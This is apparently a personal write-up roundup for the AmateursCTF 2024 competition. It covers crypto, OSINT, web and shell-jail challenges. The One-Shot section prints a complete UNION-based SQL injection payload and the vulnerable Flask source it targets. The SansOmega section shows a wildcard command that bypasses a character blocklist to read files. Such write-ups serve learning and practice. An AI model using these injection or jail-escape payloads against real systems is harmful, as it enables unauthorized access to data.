AmateursCTF 2024 Writeup Roundup
A public AmateursCTF 2024 writeup roundup based on my original notes and challenge solves.

This post preserves my original public notes for AmateursCTF 2024 Writeup Roundup. I kept the challenge-by-challenge structure close to the source Markdown and only cleaned up formatting, image paths, and repeated footer text so it reads cleanly on the website.
AmateursCTF 2024

About the Event
Welcome to Les Amateurs's second CTF! Problems are targeted towards high schoolers, and will range from beginner-friendly all the way up to kernel pwn.

Conclusion
Pwned flags: 9/58
Total Score: 1186
Rank: 188th in Open Division and 221st in All Teams
- Cryptography
- aesy - 338 solves / 163 points
- Jail
- Sansomega - 230 solves / 207 points
- Misc
- Survey - 204 solves / 1 point
- Sanity-check - 830 solves / 56 points
- Web Exploitation
- OSINT
- Bathroom-Break - 365 solves / 154 points
- Cherry-Blossoms - 255 solves / 195 points
aesy
Description
Please aes-decrypt the flag for me:
key: 8e29bd9f7a4f50e2485acd455bd6595ee1c6d029c8b3ef82eba0f28e59afcf9f
ciphertext: abcdd57efb034baf82fc1920a618e6a7fa496e319b4db1746b7d7e3d1198f64f
Solution Strategy
from Crypto.Cipher import AES
import binascii
def aes_decrypt(key_hex, ciphertext_hex):
key = binascii.unhexlify(key_hex)
ciphertext = binascii.unhexlify(ciphertext_hex)
cipher = AES.new(key, AES.MODE_ECB)
decrypted_bytes = cipher.decrypt(ciphertext)
return decrypted_bytes
def hex_to_ascii(hex_string):
ascii_string = bytes.fromhex(hex_string).decode('utf-8')
return ascii_string
key = '8e29bd9f7a4f50e2485acd455bd6595ee1c6d029c8b3ef82eba0f28e59afcf9f'
ciphertext = 'abcdd57efb034baf82fc1920a618e6a7fa496e319b4db1746b7d7e3d1198f64f'
decrypted_bytes = aes_decrypt(key, ciphertext)
decrypted_hex = binascii.hexlify(decrypted_bytes).decode()
decrypted_text = hex_to_ascii(decrypted_hex[:-2])
print(f"Decrypted text: {decrypted_text}")

Agile-Rut
Description
check out this cool font i made!
http://agile-rut.amt.rs
hint: if you get something that looks like the flag try pasting it into the box.

After reviewing the source code, I found a URL for the fonts.


Solution Strategy
cat agile-rut.otf
a.m.a.t.e.u.r.s.C.T.F.braceleft.zero.k.underscore.b.u.t.underscore.one.underscore.d.o.n.t.underscore.l.i.k.e.underscore.t.h.e.underscore.j.b.m.o.n.zero.underscore.equal.equal.equal.braceright
amateursctf{0k_but_1_dont_like_the_jbmon0_===}
Bathroom-Break
Description
I was on an in-state skiing trip with my family when we decided to go out and see some sights. I remember needing to go to the bathroom near where these pictures were taken and then leaving a review. Can you find this review for me?
This is the image I had:


Solution Strategy
I used Google Lens to identify this place.

It is called Hot Creek Geologic Site.


https://t.ly/phXhx

Cherry-Blossoms
Description
average southern californian reacts to DC weather. amazing scenery though at the time.
Find the coords of this image!
nc chal.amt.rs 1771
This is the image I had:

Solution Strategy
I asked Bing AI where in Washington, D.C., I could find cherry blossoms.

After checking several places Bing AI suggested, I found that Tidal Basin looked close.

#!/usr/bin/env python3
# modified from HSCTF 10 grader
import json
with open("locations.json") as f:
locations = json.load(f)
wrong = False
for i, coords in enumerate(locations, start=1):
x2, y2 = coords
x, y = map(float, input(f"Please enter the lat and long of the location: ").replace(",","").split(" "))
# increase if people have issues
if abs(x2 - x) < 0.0010 and abs(y2 - y) < 0.0010:
print("Correct! You have successfully determined the position of the camera.")
else:
print("Wrong! Try again after paying attention to the picture.")
wrong = True
if not wrong:
with open("flag.txt") as f:
print("Great job, the flag is ",f.read().strip())
else:
print("Better luck next time ʕ·ᴥ·ʔ")
lat: 38.888532 long: -77.0343921

Denied
Description
what options do i have? http://denied.amt.rs

Here's the source code for analysis
const express = require('express')
const app = express()
const port = 3000
app.get('/', (req, res) => {
if (req.method == "GET") return res.send("Bad!");
res.cookie('flag', process.env.FLAG ?? "flag{fake_flag}")
res.send('Winner!')
})
app.listen(port, () => {
console.log(`Example app listening on port ${port}`)
})
Solution Strategy
curl -I http://denied.amt.rs/


One-Shot
Description
my friend keeps asking me to play OneShot. i haven't, but i made this cool challenge! http://one-shot.amt.rs

Here's the source code for analysis
from flask import Flask, request, make_response
import sqlite3
import os
import re
app = Flask(__name__)
db = sqlite3.connect(":memory:", check_same_thread=False)
flag = open("flag.txt").read()
@app.route("/")
def home():
return """
<h1>You have one shot.</h1>
<form action="/new_session" method="POST"><input type="submit" value="New Session"></form>
"""
@app.route("/new_session", methods=["POST"])
def new_session():
id = os.urandom(8).hex()
db.execute(f"CREATE TABLE table_{id} (password TEXT, searched INTEGER)")
db.execute(f"INSERT INTO table_{id} VALUES ('{os.urandom(16).hex()}', 0)")
res = make_response(f"""
<h2>Fragments scattered... Maybe a search will help?</h2>
<form action="/search" method="POST">
<input type="hidden" name="id" value="{id}">
<input type="text" name="query" value="">
<input type="submit" value="Find">
</form>
""")
res.status = 201
return res
@app.route("/search", methods=["POST"])
def search():
id = request.form["id"]
if not re.match("[1234567890abcdef]{16}", id):
return "invalid id"
searched = db.execute(f"SELECT searched FROM table_{id}").fetchone()[0]
if searched:
return "you've used your shot."
db.execute(f"UPDATE table_{id} SET searched = 1")
query = db.execute(f"SELECT password FROM table_{id} WHERE password LIKE '%{request.form['query']}%'")
return f"""
<h2>Your results:</h2>
<ul>
{"".join([f"<li>{row[0][0] + '*' * (len(row[0]) - 1)}</li>" for row in query.fetchall()])}
</ul>
<h3>Ready to make your guess?</h3>
<form action="/guess" method="POST">
<input type="hidden" name="id" value="{id}">
<input type="text" name="password" placehoder="Password">
<input type="submit" value="Guess">
</form>
"""
@app.route("/guess", methods=["POST"])
def guess():
id = request.form["id"]
if not re.match("[1234567890abcdef]{16}", id):
return "invalid id"
result = db.execute(f"SELECT password FROM table_{id} WHERE password = ?", (request.form['password'],)).fetchone()
if result != None:
return flag
db.execute(f"DROP TABLE table_{id}")
return "You failed. <a href='/'>Go back</a>"
@app.errorhandler(500)
def ise(error):
original = getattr(error, "original_exception", None)
if type(original) == sqlite3.OperationalError and "no such table" in repr(original):
return "that table is gone. <a href='/'>Go back</a>"
return "Internal server error"
if __name__ == "__main__":
app.run(host="0.0.0.0", port=8080)
Solution Strategy
' AND '1'='2' UNION SELECT SUBSTR(password, 1, 32) FROM table_f4a180531af4e460
UNION SELECT SUBSTR(password, 2, 32) FROM table_f4a180531af4e460
UNION SELECT SUBSTR(password, 3, 32) FROM table_f4a180531af4e460
UNION SELECT SUBSTR(password, 4, 32) FROM table_f4a180531af4e460
UNION SELECT SUBSTR(password, 5, 32) FROM table_f4a180531af4e460
UNION SELECT SUBSTR(password, 6, 32) FROM table_f4a180531af4e460
UNION SELECT SUBSTR(password, 7, 32) FROM table_f4a180531af4e460
UNION SELECT SUBSTR(password, 8, 32) FROM table_f4a180531af4e460
UNION SELECT SUBSTR(password, 9, 32) FROM table_f4a180531af4e460
UNION SELECT SUBSTR(password, 10, 32) FROM table_f4a180531af4e460
UNION SELECT SUBSTR(password, 11, 32) FROM table_f4a180531af4e460
UNION SELECT SUBSTR(password, 12, 32) FROM table_f4a180531af4e460
UNION SELECT SUBSTR(password, 13, 32) FROM table_f4a180531af4e460
UNION SELECT SUBSTR(password, 14, 32) FROM table_f4a180531af4e460
UNION SELECT SUBSTR(password, 15, 32) FROM table_f4a180531af4e460
UNION SELECT SUBSTR(password, 16, 32) FROM table_f4a180531af4e460
UNION SELECT SUBSTR(password, 17, 32) FROM table_f4a180531af4e460
UNION SELECT SUBSTR(password, 18, 32) FROM table_f4a180531af4e460
UNION SELECT SUBSTR(password, 19, 32) FROM table_f4a180531af4e460
UNION SELECT SUBSTR(password, 20, 32) FROM table_f4a180531af4e460
UNION SELECT SUBSTR(password, 21, 32) FROM table_f4a180531af4e460
UNION SELECT SUBSTR(password, 22, 32) FROM table_f4a180531af4e460
UNION SELECT SUBSTR(password, 23, 32) FROM table_f4a180531af4e460
UNION SELECT SUBSTR(password, 24, 32) FROM table_f4a180531af4e460
UNION SELECT SUBSTR(password, 25, 32) FROM table_f4a180531af4e460
UNION SELECT SUBSTR(password, 26, 32) FROM table_f4a180531af4e460
UNION SELECT SUBSTR(password, 27, 32) FROM table_f4a180531af4e460
UNION SELECT SUBSTR(password, 28, 32) FROM table_f4a180531af4e460
UNION SELECT SUBSTR(password, 29, 32) FROM table_f4a180531af4e460
UNION SELECT SUBSTR(password, 30, 32) FROM table_f4a180531af4e460
UNION SELECT SUBSTR(password, 31, 32) FROM table_f4a180531af4e460
UNION SELECT SUBSTR(password, 32, 32) FROM table_f4a180531af4e460 --


SansOmega
Description
Somehow I think the pico one had too many unintendeds...
So I left some more in :)
`nc chal.amt.rs 2100`

Here's the source code for analysis
#!/usr/local/bin/python3
import subprocess
BANNED = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz\\"\'`:{}[]'
def shell():
while True:
cmd = input('$ ')
if any(c in BANNED for c in cmd):
print('Banned characters detected')
exit(1)
if len(cmd) >= 20:
print('Command too long')
exit(1)
proc = subprocess.Popen(
["/bin/sh", "-c", cmd], stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
print(proc.stdout.read().decode('utf-8'), end='')
if __name__ == '__main__':
shell()
Solution Strategy
/*/????32 ????????

echo "MFWWC5DFOVZHGQ2UIZ5XA2LDGBPXONBVNY3V6ZZQGBSF63RQOVTWQXZVGBPWSXZXGAYGWX3TN5WT
GX3DOIZTI5BROYZV63BRMIZXE5BRGM2V6YLEMU4DQMRQMV6Q====" | base32 --decode
